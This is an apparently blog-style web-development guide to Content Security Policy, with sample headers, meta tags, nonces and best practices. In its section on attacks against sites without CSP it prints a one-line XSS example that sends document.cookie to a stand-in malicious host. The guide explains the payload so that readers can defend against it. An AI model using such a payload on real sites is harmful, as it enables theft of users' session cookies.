Skip to Main Content

An Informative Guide to Content Security Policy (CSP) in Web Development

What is Content Security Policy (CSP)?

Content Security Policy (CSP) is a security feature that helps protect websites from certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. CSP acts as a content filter, allowing developers to define approved sources for content such as scripts, styles, and images that the browser is permitted to load. This is primarily important on sites that allow third party javascript or resources loaded outside of a developer's control. For example, a welcome third party script could inadvertantly create a way to allow a malicious actor to inject their own code into a page, and do things like capture all the keyboard input or record user interactions and private data.

When implemented correctly, CSP can significantly reduce the risk of malicious code execution, enhancing the security of your website and protecting user data.

Why Use Content Security Policy?

  1. Mitigate XSS Attacks:
    Malicious actors often inject scripts into web pages to steal cookies, session tokens, or other sensitive information. CSP blocks unauthorized scripts from executing.
  2. Restrict External Content:
    It allows developers to specify trusted domains for loading resources like images, fonts, or JavaScript files, reducing the risk of loading malicious content.
  3. Enhance Code Integrity:
    By enforcing strict rules about where resources can come from, CSP helps ensure that only trusted content runs on your site.
  4. Prevent Mixed Content Issues:
    It can prevent browsers from loading insecure (HTTP) resources on HTTPS pages.

How CSP Works

CSP is implemented by adding a Content-Security-Policy HTTP header or a <meta> tag in the HTML. The header contains directives that define rules for loading content. For example:

Implementing CSP

1. Setting a Basic CSP Header

Here’s an example of a basic CSP header that allows scripts, styles, and images only from the site’s own domain (self):

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';

2. Using a <meta> Tag

You can also apply CSP directly in HTML using the <meta> tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';">

3. Allowing Third-Party Resources

Sometimes, your site may need to load content from external sources, such as a CDN. CSP can whitelist specific sources:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' https://images.example.com;

4. Using Nonces for Inline Scripts

To allow specific inline scripts, use nonces (unique tokens generated for each request):

Content-Security-Policy: script-src 'self' 'nonce-random123';

HTML Example:

<script nonce="random123">
  console.log("This script is allowed.");
</script>

Real-World Examples

When CSP Might Not Be Needed

  1. Static Sites Without Dynamic Content:
    If your site doesn’t include any interactive or third-party resources, CSP may not be essential.
  2. Intranet Applications with Limited Access:
    Internal tools on closed networks might not require strict CSP rules, though it’s still a good security practice.

How Malicious Actors Exploit Sites Without CSP

  1. XSS Attacks:
    Without CSP, an attacker could inject malicious JavaScript into a form or a vulnerable page to steal user cookies or redirect users to phishing sites. Example of malicious script injection: <script> fetch('https://malicious-site.com/steal-cookies', { method: 'POST', body: document.cookie }); </script>
  2. Exfiltrating Sensitive Data:
    Attackers could exploit external resources like rogue images or fonts to collect analytics data on users without authorization.

Example CSP Rules for Common Scenarios

Strict Policy for Modern Apps

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-src 'self';

Policy Allowing Analytics and External Fonts

Content-Security-Policy: default-src 'self'; script-src 'self' https://www.google-analytics.com; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' https://cdn.example.com;

Policy for Development (Allowing Unsafe Inline Scripts)

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self';

Note: Avoid 'unsafe-inline' in production as it defeats the purpose of CSP.

Best Practices for Using CSP

  1. Start in Report-Only Mode:
    Implement CSP in Content-Security-Policy-Report-Only mode to log violations without enforcing rules. This helps identify issues before enforcing the policy. Example: Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://example.com/csp-violation-report;
  2. Use CSP Validators:
    Tools like CSP Evaluator can analyze your CSP for weaknesses.
  3. Avoid Broad Rules:
    Use specific domains instead of wildcards (*) to limit exposure. For example, prefer https://example.com over https://*.
  4. Test Regularly:
    Ensure your CSP doesn’t inadvertently block legitimate resources, especially after adding new third-party services.

Final Thoughts

CSP is a powerful tool for enhancing web security, especially for protecting against XSS and data injection attacks. While it requires careful planning and testing to avoid breaking legitimate functionality, the benefits far outweigh the effort involved.

By implementing CSP correctly, you create an additional layer of defense for your site, safeguarding both your users and your application against malicious threats.

Previous

Common CORS Configurations on Apache and NGINX

Next

A Beginner’s Overview of JavaScript